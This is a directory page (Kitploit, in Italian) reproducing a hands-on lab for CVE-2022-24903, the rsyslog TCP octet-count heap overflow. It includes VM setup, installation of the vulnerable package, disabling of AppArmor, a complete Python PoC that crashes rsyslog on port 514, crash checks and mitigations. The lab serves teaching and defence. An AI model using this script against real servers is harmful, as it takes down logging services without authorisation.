Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Overflow del buffer basato su heap | Kitploit
Strumenti/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Analisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Overflow del buffer basato su heap

Vedi Repository
41 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-24903 Laboratorio Pratico

Autore: Andrew Beshay Mousa

Un laboratorio pratico che dimostra la vulnerabilità di heap buffer overflow di rsyslog.

rsyslog CVE Type Protocol

Un ambiente di laboratorio pratico per riprodurre e comprendere la vulnerabilità Heap Buffer Overflow di rsyslog (CVE-2022-24903) tramite framing con conteggio degli ottetti nella ricezione syslog via TCP.


Indice dei Contenuti

  • Panoramica
  • Architettura del Laboratorio
  • Prerequisiti
  • Dettagli della Vulnerabilità
  • Configurazione del Laboratorio
    • Macchina Target (Ubuntu)
    • Macchina Attaccante (Kali)
  • Sfruttamento
  • Verifica
  • Risoluzione dei Problemi
  • Mitigazione
  • Riferimenti

  • Panoramica

    CVE-2022-24903 è una vulnerabilità di heap buffer overflow nel modulo di ricezione syslog via TCP (imtcp) di rsyslog quando si utilizza il framing con conteggio degli ottetti (RFC 5425).

    Un attaccante può inviare un messaggio syslog TCP appositamente modificato con un prefisso di conteggio degli ottetti eccessivamente lungo, causando la scrittura da parte di rsyslog oltre i limiti di un buffer allocato nell'heap, con conseguente denial of service (DoS) o potenziale corruzione della memoria.

    AttributoValore
    CVE IDCVE-2022-24903
    Versioni interessatersyslog < 8.2204.1
    VettoreRete
    Porta514/TCP
    Moduloimtcp (Ingresso TCP)
    ImpattoDoS / Corruzione dell'heap
    RCE Probabile?No (valutazione del fornitore)

    Architettura del Laboratorio

    root@kitploit:~
    +----------------------------------------------------------+
    |                  Network: Host-Only                       |
    |                Subnet: 192.168.56.0/24                   |
    +--------------------------+-------------------------------+
    |                          |                               |
    |   +---------------+      |      +--------------------+   |
    |   |  [Attacker]   |      |      |     [Target]       |   |
    |   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
    |   |               | TCP  |      |  rsyslog 8.2001.0  |   |
    |   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
    |   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
    |   |  CPU: 1       |      |      |  CPU: 1            |   |
    |   +---------------+      |      +--------------------+   |
    |                          |                               |
    +----------------------------------------------------------+
    

    VM Richieste

    VMSORuoloIPRAMCPU
    TargetUbuntu 22.04Server rsyslog vulnerabile192.168.56.201 GB1
    AttaccanteKali LinuxMittente dell'exploit192.168.56.102 GB1

    Nota: Puoi usare qualsiasi versione di Ubuntu (20.04, 22.04, 24.04) come Target. Il punto chiave è installare manualmente il pacchetto .deb rsyslog 8.2001.0 vulnerabile.


    Prerequisiti

    • VirtualBox o VMware Workstation
    • ISO di Ubuntu 22.04 (~2 GB)
    • VM Kali Linux (~4 GB)
    • Rete Host-Only configurata nel tuo hypervisor
    • Conoscenza di base dei comandi Linux e di Python

    Dettagli della Vulnerabilità

    Cos'è il Framing con Conteggio degli Ottetti?

    In syslog via TCP (RFC 5425), i messaggi sono preceduti dalla loro lunghezza in byte:

    root@kitploit:~
    123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
    └─┘
     octet count (3 digits = 123 bytes follow)
    

    Il Bug

    Nelle versioni vulnerabili di rsyslog, il parser del conteggio degli ottetti:

    1. Accumula le cifre in un buffer dell'heap di dimensione fissa
    2. Non verifica i limiti del buffer durante la scrittura delle cifre
    3. Continua a scrivere cifre anche dopo che il conteggio degli ottetti supera il valore massimo consentito
    root@kitploit:~
    // Simplified vulnerable logic:
    char buffer[20];          // Small heap buffer
    int i = 0;
    while (isdigit(ch)) {     // Read digits
        buffer[i++] = ch;     // Write to buffer
        // MISSING: if (i >= 20) break;
        ch = next_char();
    }
    

    Risultato: L'invio di 9999... (5000+ cifre) provoca un overflow del buffer dell'heap, corrompendo la memoria adiacente.

    Perché l'RCE è Difficile

    • L'overflow è limitato ai soli caratteri numerici (0-9)
    • Il parser si ferma al primo carattere non numerico
    • Non è possibile iniettare shellcode direttamente
    • Il DoS è garantito; l'RCE è considerata improbabile dal fornitore

    Configurazione del Laboratorio

    Passo 1: Configurare la Rete Host-Only

    Nel tuo hypervisor, crea una rete Host-Only:

    • Sottorete: 192.168.56.0/24
    • DHCP: Disattivato (IP statici)

    Collega entrambe le VM a questa rete.


    Passo 2: Macchina Target (Ubuntu)

    2.1 Impostare l'IP Statico

    root@kitploit:~
    sudo nano /etc/netplan/00-installer-config.yaml
    

    Incolla:

    root@kitploit:~
    network:
      version: 2
      ethernets:
        enp0s3:
          dhcp4: no
          addresses:
            - 192.168.56.20/24
    

    Applica:

    root@kitploit:~
    sudo netplan apply
    

    Verifica:

    root@kitploit:~
    ip addr show | grep 192.168.56.20
    

    2.2 Arrestare e Rimuovere il rsyslog Moderno

    root@kitploit:~
    sudo systemctl stop rsyslog.service syslog.socket
    sudo systemctl disable rsyslog.service syslog.socket
    sudo systemctl mask rsyslog.service syslog.socket
    sudo apt-get remove --purge -y rsyslog
    sudo apt-get autoremove -y
    

    2.3 Scaricare e Installare il rsyslog Vulnerabile

    root@kitploit:~
    cd /tmp
    wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo apt-get install -f -y
    sudo apt-mark hold rsyslog
    

    Se ricevi un errore di lock di dpkg:

    root@kitploit:~
    sudo kill -9 <PID>
    sudo rm -f /var/lib/dpkg/lock-frontend
    sudo dpkg --configure -a
    

    Verifica la versione:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Output previsto:

    root@kitploit:~
    rsyslogd  8.2001.0
    

    2.4 Disattivare AppArmor (Solo per il Laboratorio)

    AppArmor potrebbe impedire a rsyslog di funzionare correttamente con il vecchio pacchetto:

    root@kitploit:~
    sudo systemctl stop apparmor
    sudo systemctl disable apparmor
    

    2.5 Configurare rsyslog per TCP 514

    root@kitploit:~
    sudo nano /etc/rsyslog.conf
    

    Svuota il file e incolla:

    root@kitploit:~
    module(load="imtcp")
    input(type="imtcp" port="514")
    *.* /var/log/all-messages.log
    

    2.6 Aprire la Porta del Firewall

    root@kitploit:~
    sudo ufw allow 514/tcp
    sudo ufw --force enable
    

    2.7 Avviare rsyslog

    root@kitploit:~
    sudo systemctl unmask rsyslog.service syslog.socket
    sudo systemctl restart rsyslog
    sudo systemctl status rsyslog --no-pager
    

    Verifica che sia in ascolto:

    root@kitploit:~
    sudo ss -tlnp | grep 514
    

    Previsto:

    root@kitploit:~
    LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))
    

    Passo 3: Macchina Attaccante (Kali)

    3.1 Impostare l'IP Statico

    root@kitploit:~
    sudo nano /etc/network/interfaces
    

    Incolla:

    root@kitploit:~
    auto eth0
    iface eth0 inet static
        address 192.168.56.10
        netmask 255.255.255.0
    

    Oppure se usi Netplan:

    root@kitploit:~
    sudo nano /etc/netplan/01-netcfg.yaml
    
    root@kitploit:~
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: no
          addresses:
            - 192.168.56.10/24
    
    root@kitploit:~
    sudo netplan apply
    

    3.2 Creare lo Script di Exploit

    root@kitploit:~
    cd ~/Desktop
    nano exploit.py
    

    Incolla:

    root@kitploit:~
    #!/usr/bin/env python3
    """
    CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
    Target: rsyslog 8.2001.0 on TCP port 514
    Author: Andrew Beshay Mousa
    """
    
    import socket
    import sys
    
    TARGET = "192.168.56.20"  # Change to your Target IP
    PORT = 514
    
    def exploit():
        """
        Send a crafted TCP syslog message with an excessively long octet-count prefix.
        The octet-count parser writes digits to a heap buffer without bounds checking,
        causing a heap buffer overflow.
        """
        # Create a massive octet count string (5000+ digits)
        # This overflows the heap buffer allocated for parsing the count
        overflow_digits = b"9" * 5000
    
        # The rest of the message (parser will crash before processing this)
        syslog_msg = b" <1>test crash message\n"
    
        payload = overflow_digits + syslog_msg
    
        print(f"[*] Target: {TARGET}:{PORT}")
        print(f"[*] Payload size: {len(payload)} bytes")
        print(f"[*] Octet count digits: {len(overflow_digits)}")
    
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((TARGET, PORT))
    
            print(f"[*] Connected. Sending payload...")
            sock.sendall(payload)
    
            # Try to receive (likely won't get anything back after crash)
            try:
                response = sock.recv(1024)
                print(f"[+] Received: {response}")
            except socket.timeout:
                print("[!] No response - target may have crashed!")
    
            sock.close()
            print("[*] Exploit completed.")
    
        except ConnectionRefusedError:
            print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
            sys.exit(1)
        except BrokenPipeError:
            print("[!] Connection broken - target likely crashed mid-transmission!")
    
    if __name__ == "__main__":
        print("=" * 50)
        print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
        print("=" * 50)
        exploit()
    

    Rendilo eseguibile:

    root@kitploit:~
    chmod +x exploit.py
    

    Sfruttamento

    Controllo Preliminare

    Dall'Attaccante, verifica la connettività:

    root@kitploit:~
    nc -zv 192.168.56.20 514
    

    Previsto:

    root@kitploit:~
    (UNKNOWN) [192.168.56.20] 514 (shell) open
    

    Esegui l'Exploit

    root@kitploit:~
    python3 ~/Desktop/exploit.py
    

    Output previsto:

    root@kitploit:~
    ==================================================
    CVE-2022-24903 rsyslog Heap Buffer Overflow
    ==================================================
    [*] Target: 192.168.56.20:514
    [*] Payload size: 5027 bytes
    [*] Octet count digits: 5000
    [*] Connected. Sending payload...
    [!] No response - target may have crashed!
    [*] Exploit completed.
    

    Verifica

    Sulla macchina Target, verifica il crash:

    Metodo 1: Controllare se rsyslog è ancora in esecuzione

    root@kitploit:~
    ps aux | grep rsyslog
    

    Se nessun output -> rsyslog è andato in crash

    Metodo 2: Controllare i log del kernel

    root@kitploit:~
    sudo dmesg | tail -10
    

    Output previsto:

    root@kitploit:~
    audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
    

    Oppure:

    root@kitploit:~
    rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
    

    Metodo 3: Controllare il journal di systemd

    root@kitploit:~
    sudo journalctl -u rsyslog --no-pager | tail -10
    

    Metodo 4: Riavviare e Ripetere il Test

    Per confermare la riproducibilità:

    root@kitploit:~
    sudo systemctl restart rsyslog
    sudo ss -tlnp | grep 514
    

    Quindi esegui di nuovo l'exploit da Kali. Il crash dovrebbe verificarsi di nuovo.


    Risoluzione dei Problemi

    ProblemaSoluzione
    Connection refusedrsyslog non è in esecuzione o non è in ascolto su TCP 514. Controlla sudo systemctl status rsyslog e `sudo ss -tlnp
    Unit rsyslog.service is maskedEsegui sudo systemctl unmask rsyslog.service syslog.socket
    dpkg frontend lockEsegui sudo kill -9 <PID> quindi sudo rm -f /var/lib/dpkg/lock-frontend
    AppArmor DENIED nel dmesgEsegui sudo systemctl stop apparmor && sudo systemctl disable apparmor
    La versione di rsyslog è 8.2112+Hai installato la versione con patch. Scarica e installa manualmente rsyslog_8.2001.0-1ubuntu1_amd64.deb
    Nessun crash dopo l'exploitAumenta la dimensione del payload a b"9" * 20000

    Mitigazione

    1. Aggiornare rsyslog

    root@kitploit:~
    sudo apt-mark unhold rsyslog
    sudo apt-get update
    sudo apt-get install rsyslog
    

    Verifica la versione con patch:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Dovrebbe essere 8.2204.1 o successiva.

    2. Disattivare syslog TCP se non necessario

    Commenta in /etc/rsyslog.conf:

    root@kitploit:~
    # module(load="imtcp")
    # input(type="imtcp" port="514")
    

    3. Usare TLS/SSL (RFC 5425)

    Se syslog TCP è necessario, usa un trasporto cifrato:

    root@kitploit:~
    module(load="imgtls")
    input(type="imgtls" port="6514")
    

    4. Restrizioni del Firewall

    Limita TCP 514 ai soli host fidati:

    root@kitploit:~
    sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
    

    Riferimenti

    • NVD - CVE-2022-24903
    • Avviso di Sicurezza rsyslog
    • Avviso di Sicurezza Ubuntu USN-5404-1
    • RFC 5424 - Protocollo Syslog
    • RFC 5425 - Trasporto TLS

    Disclaimer

    Questo laboratorio è solo a scopo educativo e di ricerca. Non utilizzare questo exploit contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per un uso improprio di queste informazioni.


    Licenza

    Questo progetto è concesso in licenza secondo i termini della Licenza MIT.


    Creato con caffè e curiosità da Andrew Beshay Mousa.

    Scarica lo strumento